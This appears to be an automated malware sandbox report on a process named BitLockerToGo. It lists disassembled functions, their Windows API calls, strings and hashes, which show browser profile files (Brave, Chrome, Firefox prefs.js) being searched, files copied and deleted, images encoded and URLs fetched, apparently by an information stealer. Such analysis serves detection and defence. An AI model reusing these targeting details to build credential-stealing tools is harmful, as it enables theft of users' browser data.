FindNextFileA.KERNEL32(000000FF,?), ref: 0300C7BF
FindClose.KERNEL32(000000FF), ref: 0300C7D1

Strings

\Brave\Preferences, xrefs: 0300C1DB
Brave, xrefs: 0300C102
Preferences, xrefs: 0300C11E
Google Chrome, xrefs: 0300C634

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 8ad2f2f263f3922307a1956ecbfa5d6f9bf412a0a8abeb936a047c8ac4e52cc2
Instruction ID: 850edfaad06514ef2ec882311a1688b214d93078585be511345f14267c448cd5
Opcode Fuzzy Hash: 8ad2f2f263f3922307a1956ecbfa5d6f9bf412a0a8abeb936a047c8ac4e52cc2
Instruction Fuzzy Hash: 3D42677AA122049BDB14FB70DD95EEE737DAFC4310F408558E50A9B180EF349B59CBA1

Function 6CC735A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CCFF688,00001000), ref: 6CC735D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CC735E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CC735FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CC7363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CC7369F
__aulldiv.LIBCMT ref: 6CC736E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CC73773
EnterCriticalSection.KERNEL32(6CCFF688), ref: 6CC7377E
LeaveCriticalSection.KERNEL32(6CCFF688), ref: 6CC737BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CC737C4
EnterCriticalSection.KERNEL32(6CCFF688), ref: 6CC737CB
LeaveCriticalSection.KERNEL32(6CCFF688), ref: 6CC73801
__aulldiv.LIBCMT ref: 6CC73883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CC73902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CC73918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CC7394C

Strings

AuthcAMDenti, xrefs: 6CC73946
GenuntelineI, xrefs: 6CC73639
MOZ_TIMESTAMP_MODE, xrefs: 6CC735DB
GTC, xrefs: 6CC73912
QPC, xrefs: 6CC738FC

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 45e3d5a85c90825ad5f226f24a490ca4ad8753d5719a8dcdb7e7eadbdf964fea
Instruction ID: e2636151e0c2a0655e562c2a6f3d89cc2219f165eb4ac23dde7d5e4abfb5dd9a
Opcode Fuzzy Hash: 45e3d5a85c90825ad5f226f24a490ca4ad8753d5719a8dcdb7e7eadbdf964fea
Instruction Fuzzy Hash: AFB18FB1B052109FDB189F28D85561A7BF5FF8A700F09892EE9A9D7750EB30D801CB91

Function 03014910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0301492C
FindFirstFileA.KERNEL32(?,?), ref: 03014943
StrCmpCA.SHLWAPI(?,03020FDC), ref: 03014971
StrCmpCA.SHLWAPI(?,03020FE0), ref: 03014987
FindNextFileA.KERNEL32(000000FF,?), ref: 03014B7D
FindClose.KERNEL32(000000FF), ref: 03014B92

Strings

%s\%s, xrefs: 030149FB
%s\%s, xrefs: 030149A4
%s\*, xrefs: 03014920

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 4e2209509d91bef57a6760bbaaa1d1298dcbab710c197dc83a3edf3ed43d5716
Instruction ID: bc22749c13789fceea8cbe0e44865f94c74803b1166769339539ce5d12b3a25d
Opcode Fuzzy Hash: 4e2209509d91bef57a6760bbaaa1d1298dcbab710c197dc83a3edf3ed43d5716
Instruction Fuzzy Hash: 556166B6940218ABDB24FBA0EC48EEE77BCFB48701F048588F60996144EB759755CF91

Function 03019010 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0301906C

Strings

image/jpeg, xrefs: 03019136

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 2251243d235aa0d7495644ca012fa17718f19fb5bc017cf83efa202cddf42e16
Instruction ID: dcf3fcf1501309f11ba672f4815e4233f92245059db4936a9ef82ab26e8b8f0d
Opcode Fuzzy Hash: 2251243d235aa0d7495644ca012fa17718f19fb5bc017cf83efa202cddf42e16
Instruction Fuzzy Hash: 0F71F179950208EBDB14EFE4E998FDEB7B9FF48700F108508F515AB284DB74A905CB60

Function 03013EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 03013EC3
FindFirstFileA.KERNEL32(?,?), ref: 03013EDA
StrCmpCA.SHLWAPI(?,03020FAC), ref: 03013F08
StrCmpCA.SHLWAPI(?,03020FB0), ref: 03013F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0301406C
FindClose.KERNEL32(000000FF), ref: 03014081

Strings

%s\%s, xrefs: 03013EB7

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 8d9e350483bcf8edc3fa851fba3d75a84d2c23a38760cfb3e796b4178026a323
Instruction ID: b4961a897ab69f58d5c59331af2546de9f2e2bacc8414a1ba729573e252eef91
Opcode Fuzzy Hash: 8d9e350483bcf8edc3fa851fba3d75a84d2c23a38760cfb3e796b4178026a323
Instruction Fuzzy Hash: 3E5147BA941318ABCB24FBB0EC49EEE737CBB48300F048588F65996084DB75D7958F50

Function 0300F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,030215B8,03020D96), ref: 0300F71E
StrCmpCA.SHLWAPI(?,030215BC), ref: 0300F76F
StrCmpCA.SHLWAPI(?,030215C0), ref: 0300F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0300FAB1
FindClose.KERNEL32(000000FF), ref: 0300FAC3

Strings

prefs.js, xrefs: 0300F812

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 21c5388634d23e5f2e7508dd552b3b60954b7b97bf5434b66eb6b4b7fbbfb23a
Instruction ID: 6603fd991fb64c069a774559a56fa5d282c1fd24e26682367e84568676762607
Opcode Fuzzy Hash: 21c5388634d23e5f2e7508dd552b3b60954b7b97bf5434b66eb6b4b7fbbfb23a
Instruction Fuzzy Hash: D7B13575A022189BDB24FF60DD94EEE7379AF94310F4085A9A40A9F180EF705B5ACF91

Function 030016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,03025104,?,03001F2C,?,030251AC,?,?,00000000,?,00000000), ref: 03001923
StrCmpCA.SHLWAPI(?,03025254), ref: 03001973
StrCmpCA.SHLWAPI(?,030252FC), ref: 03001989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 03001D40
DeleteFileA.KERNEL32(00000000), ref: 03001DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 03001E20
FindClose.KERNEL32(000000FF), ref: 03001E32

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Strings

\*.*, xrefs: 030017F1

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 43a3640b7fc5c10c7e55f445546d9adb7ccb4cbc4626503fa0092666b22aca8b
Instruction ID: 736e7d75dc554e80a8121335e5e8bd9ee9652f57e57a2ae071a5102b7343698b
Opcode Fuzzy Hash: 43a3640b7fc5c10c7e55f445546d9adb7ccb4cbc4626503fa0092666b22aca8b
Instruction Fuzzy Hash: 0912FA79A132189BDB19FB60DD94EEE737CAF94310F4041D9A5066A090EF706F9ACF90

Function 0300DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,030214B0,03020C2A), ref: 0300DAEB
StrCmpCA.SHLWAPI(?,030214B4), ref: 0300DB33
StrCmpCA.SHLWAPI(?,030214B8), ref: 0300DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0300DDCC
FindClose.KERNEL32(000000FF), ref: 0300DDDE

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 337122136ad9be328570b5f2ec0b8fb8520eba5f62e5a6fcb9a1b6237580c23f
Instruction ID: 9777a20387cf4585a0ea211ed432f6bf3dbef2836d781a8f295ead5a715e6412
Opcode Fuzzy Hash: 337122136ad9be328570b5f2ec0b8fb8520eba5f62e5a6fcb9a1b6237580c23f
Instruction Fuzzy Hash: C591567AA022049BDB14FBB0ED559EE737DAFC4310F408558E81A9F184EF749B1D8BA1

Function 03004FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 03004FCA
RtlAllocateHeap.NTDLL(00000000), ref: 03004FD1
InternetOpenA.WININET(03020DDF,00000000,00000000,00000000,00000000), ref: 03004FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 03005011
InternetReadFile.WININET(03015EDB,?,00000400,00000000), ref: 03005041
memcpy.MSVCRT(00000000,?,00000001), ref: 0300508A
InternetCloseHandle.WININET(03015EDB), ref: 030050B9
InternetCloseHandle.WININET(?), ref: 030050C6

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: ace0ffa0fe90d0189e04c56b7f667d348ca0cc9868648b44dcbaf06e090ed57c
Instruction ID: 7f00477b429312138b79485dba771c6d5590afd08f0dcb321dd895127e34ca54
